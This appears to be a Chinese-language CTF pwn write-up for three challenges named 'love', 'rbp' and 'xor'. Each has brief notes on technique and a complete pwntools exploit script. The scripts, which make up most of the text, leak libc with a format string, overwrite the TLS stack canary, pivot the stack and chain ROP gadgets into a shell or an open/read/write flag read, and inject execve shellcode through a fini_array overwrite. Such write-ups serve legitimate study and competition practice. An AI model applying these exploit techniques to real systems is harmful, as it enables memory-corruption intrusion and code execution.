love#
这题可以非预期 但是由于时间比较充裕 就按照出题人的意思来做一做
比较简单的一题 难点在于最后的破坏了tls结构体的时候 不能选择system函数 要用syscall 但是稍微修复一下tls结构体 还是可以调用system函数的
考点在于pthread_create会使得新线程栈的布局迁移到tls结构体附近的一块地址 导致我们可以通过栈溢出覆盖到tls的canary 从而来绕过canary
修复tls结构体只需要把fs<0x10处的值覆盖成addr>0x10处的值覆盖成addr>+0x308后是一个可读的地址即可
自己调一调就可以懂了
完整exp:
from pwn import*import pwn_pb2#io = process("./pwn")io = remote("node3.anna.nssctf.cn",28092)elf = ELF("./pwn")context.terminal = ['tmux','splitw','-h']#libc = ELF("./ld-linux.so.2")libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")context.arch = "amd64"context.log_level = "debug"def debug(): gdb.attach(io) pause()
io.recvuntil("I want to hear your praise of Toka")payload = '%520c%9$n%17$p'# gdb.attach(io,'b *0x40131B')# gdb.attach(io,'b *0x401290')io.send(payload)# pause()io.recvuntil("\xc0")libc_addr = int(io.recv(14),16)-libc.sym['__libc_start_main']-243success("libc_addr :"+hex(libc_addr))system_addr = libc_addr + libc.sym['system']fs_base = libc_addr - 0x3900binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))rdi_addr = next(elf.search(asm("pop rdi;ret")))ret_addr = next(elf.search(asm("ret")))io.recvuntil("I know you like him, but you must pass my level")payload = cyclic(0x28)+p64(0x100)+cyclic(0x8)+p64(ret_addr)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)+cyclic(0x840-0x30-0x28)+cyclic(0x10)+p64(elf.bss(0x200))+cyclic(0x10)+b'\x00\x01\x00\x00\x00\x00\x00'# gdb.attach(io,f'b *{libc_addr+0x10ca1e}')io.sendline(payload)# pause()io.interactive()rbp#
劫持rbp可以任意写 然后就是打orw 没什么好说的
from pwn import*import pwn_pb2io = process("./pwn")#io = remote("node3.anna.nssctf.cn",28092)elf = ELF("./pwn")context.terminal = ['tmux','splitw','-h']#libc = ELF("./ld-linux.so.2")libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")context.arch = "amd64"context.log_level = "debug"def debug(): gdb.attach(io) pause()
io.recvuntil("try it")ptr_read = 0x401292bss_addr = elf.bss(0x800)payload = cyclic(0x210)+p64(bss_addr+0x210)+p64(ptr_read)io.send(payload)
rdi_addr = next(elf.search(asm("pop rdi;ret")))rbp_addr = next(elf.search(asm("pop rbp;ret")))leave_addr = next(elf.search(asm("leave;ret")))puts_plt = elf.sym['puts']puts_got = elf.got['puts']payload = p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(rbp_addr)+p64(bss_addr+0x510)+p64(ptr_read)+b'./flag\x00\x00'+cyclic(0x210-0x38)+p64(bss_addr-0x8)+p64(leave_addr)# gdb.attach(io,'b *0x4012C0')io.send(payload)# pause()
libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['puts']success("libc_addr :"+hex(libc_addr))rsi_addr = libc_addr + next(libc.search(asm("pop rsi;ret")))rdx_addr = libc_addr + 0x0000000000142c92read_addr = libc_addr + libc.sym['read']open_addr = libc_addr + libc.sym['open']write_addr = libc_addr + libc.sym['write']flag_addr = bss_addr+0x30
payload = p64(rdi_addr)+p64(flag_addr)+p64(rsi_addr)+p64(0)+p64(open_addr)payload += p64(rdi_addr)+p64(3)+p64(rsi_addr)+p64(bss_addr+0x600)+p64(rdx_addr)+p64(0x100)+p64(read_addr)payload += p64(rdi_addr)+p64(1)+p64(rsi_addr)+p64(bss_addr+0x600)+p64(write_addr)payload = payload.ljust(0x210,b'\x00')+p64(bss_addr+0x300-0x8)+p64(leave_addr)# gdb.attach(io,'b *0x4012C0')io.send(payload)# pause()io.recv()io.recv()xor#

保护全关了 可用的攻击手法变得多元化起来了
int __cdecl main(int argc, const char **argv, const char **envp){ char v4; // [rsp+7h] [rbp-9h] BYREF _BYTE *v5; // [rsp+8h] [rbp-8h] BYREF
init(argc, argv, envp); while ( flag <= 0 ) { printf("addr: "); __isoc99_scanf("%p", &v5); printf("value: "); __isoc99_scanf(" %hhx", &v4); xorByteWithAddress(v5, v4); } return 0;}程序的主体逻辑很简单
就是可以向一个任意地址 进行一次单字节的异或的操作
但是由于while循环的条件是flag小于等于0
执行完xorByteWithAddress函数后 flag的值自增 就退出while循环
所以我们首要的思路就是想办法把flag的值修改成负数
随后往bss段上写入shellcode 利用main函数结束会调用隐式exit函数 中间利用call函数调用了fini_array
通过覆盖fini_array就可以调用到shellcode
完整exp:
from pwn import*import pwn_pb2io = process("./pwn")#io = remote("node3.anna.nssctf.cn",28092)elf = ELF("./pwn")context.terminal = ['tmux','splitw','-h']#libc = ELF("./ld-linux.so.2")libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")context.arch = "amd64"context.log_level = "debug"def debug(): gdb.attach(io) pause()
fini_addr = 0x600970def xor(addr,xor_message): io.recvuntil("addr: ") got = elf.got['printf'] io.sendline(addr) io.recvuntil("value: ") # gdb.attach(io,'b *0x400738') io.sendline(xor_message)
bss_addr =elf.bss(0x300)shellcode = ['48','31','f6','56','48','bf','2f','62','69','6e','2f','2f','73','68','57','54','5f','6a','3b','58','99','0f','05']xor("600BCf","ff")addr = "600ea0"for i in shellcode: xor(addr,i) num = int(addr, 16) num += 1 addr = format(num, 'x') print(addr)xor("600970","b0")xor("600971","8")xor("600972","20")# gdb.attach(io,'b *_dl_fini+524')# pause(0)xor("600Bcf","ff")# pause()io.interactive()